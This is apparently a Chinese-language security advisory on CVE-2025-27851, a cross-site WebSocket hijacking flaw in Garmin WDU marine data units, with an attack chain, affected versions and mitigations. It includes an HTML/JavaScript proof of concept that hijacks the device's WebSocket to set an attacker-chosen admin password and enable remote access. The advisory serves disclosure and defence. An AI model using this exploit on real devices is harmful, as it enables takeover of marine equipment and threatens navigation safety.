IPBUF安全漏洞报告
English
CVE-2025-27851 CVSS 9.3 严重

CVE-2025-27851 Garmin WDU跨站WebSocket劫持漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2025-27851
漏洞类型
跨站WebSocket劫持 (CSWSH)
CVSS评分
9.3 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Garmin WDU (Wireless Data Unit)

相关标签

CSWSHGarminWDU跨站WebSocket劫持远程代码执行严重漏洞

漏洞概述

Garmin WDU(无线数据单元)在v1 1.4.6和v2 5.0版本中存在严重的网络安全漏洞。该设备的本地服务网站容易受到跨源WebSocket劫持(CSWSH)攻击。由于WDU使用WebSockets来控制包括管理员设置在内的各种功能,攻击者可利用此漏洞完全接管设备。成功利用该漏洞需要受害者使用多宿主主机上的Web浏览器,该主机需同时连接到Garmin Marine网络和另一个网络,并访问攻击者创建的恶意第三方网站。此漏洞可能导致设备配置被恶意更改,对航海安全构成严重威胁。

技术细节

该漏洞的核心在于Garmin WDU的本地Web服务未能正确验证WebSocket连接的Origin头部。在受影响版本中,设备默认信任来自本地网络接口的WebSocket连接请求。攻击者利用这一缺陷,诱导处于多宿主环境(即同时连接Garmin Marine网络和外部网络)的受害者访问恶意网页。该网页内嵌的JavaScript代码会尝试向受害者本地网络中的WDU设备发起WebSocket连接。由于浏览器的同源策略对WebSocket的约束较弱,且服务端缺乏校验,连接建立成功后,攻击者即可通过该通道向设备发送控制指令。这些指令可以修改设备的管理员密码、网络设置或其他关键配置,从而实现对WDU的完全控制。虽然攻击需要用户交互和特定的网络拓扑,但其影响后果严重,直接威胁设备的完整性和可用性。

攻击链分析

STEP 1
步骤1:环境准备
攻击者准备一个恶意网站,该网站包含针对Garmin WDU本地WebSocket接口的恶意JavaScript代码。
STEP 2
步骤2:诱导访问
攻击者诱导受害者访问该恶意网站。受害者必须处于多宿主主机上,即同时连接了Garmin Marine网络和其他网络(如互联网)。
STEP 3
步骤3:建立连接
受害者浏览器加载恶意网页,JavaScript代码尝试向本地Garmin Marine网络中的WDU设备发起WebSocket连接。
STEP 4
步骤4:劫持会话
由于WDU未验证Origin头,连接成功建立。攻击者通过该WebSocket通道发送控制指令。
STEP 5
步骤5:执行攻击
WDU执行接收到的指令,允许攻击者修改管理员设置或完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2025-27851: Cross-Site WebSocket Hijacking --> <!-- Description: This HTML page attempts to connect to the local Garmin WDU instance and send a malicious command to change administrative settings. Requirements: The victim must be on a multihomed host connected to the Garmin Marine Network. --> <!DOCTYPE html> <html> <head> <title>Garmin WDU Exploit PoC</title> </head> <body> <h2>CVE-2025-27851 Exploit Test</h2> <p>Check browser console for output.</p> <script> // Target the local IP address of the Garmin WDU on the Marine Network // Note: The actual IP needs to be discovered or guessed (e.g., 192.168.0.1) const target_wdu_ip = "192.168.0.1"; const ws_url = "ws://" + target_wdu_ip + "/api/websocket"; // Endpoint might vary console.log("[+] Attempting to connect to " + ws_url); try { const socket = new WebSocket(ws_url); socket.onopen = function(e) { console.log("[+] Connection established successfully!"); // Construct a malicious payload to modify settings // Payload structure is hypothetical based on typical device APIs const exploit_payload = JSON.stringify({ "command": "set_admin_settings", "parameters": { "username": "admin", "password": "attacker_controlled", "remote_access": true } }); console.log("[+] Sending payload: " + exploit_payload); socket.send(exploit_payload); }; socket.onmessage = function(event) { console.log("[+] Response received from WDU: " + event.data); }; socket.onerror = function(error) { console.log("[-] WebSocket Error: " + error); }; socket.onclose = function(event) { console.log("[+] Connection closed"); }; } catch (err) { console.log("[-] Exception occurred: " + err); } </script> </body> </html>

影响范围

Garmin WDU v1 1.4.6
Garmin WDU v2 5.0

防御指南

临时缓解措施
针对此漏洞,建议立即将Garmin WDU升级到修复了该问题的最新固件版本。在无法立即升级的情况下,应采取网络隔离措施,确保连接Garmin Marine网络的终端不同时连接互联网或其他不安全网络,避免攻击者利用跨站请求劫持漏洞。此外,应教育用户不要在连接海事设备时点击不明链接或访问不可信网站。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表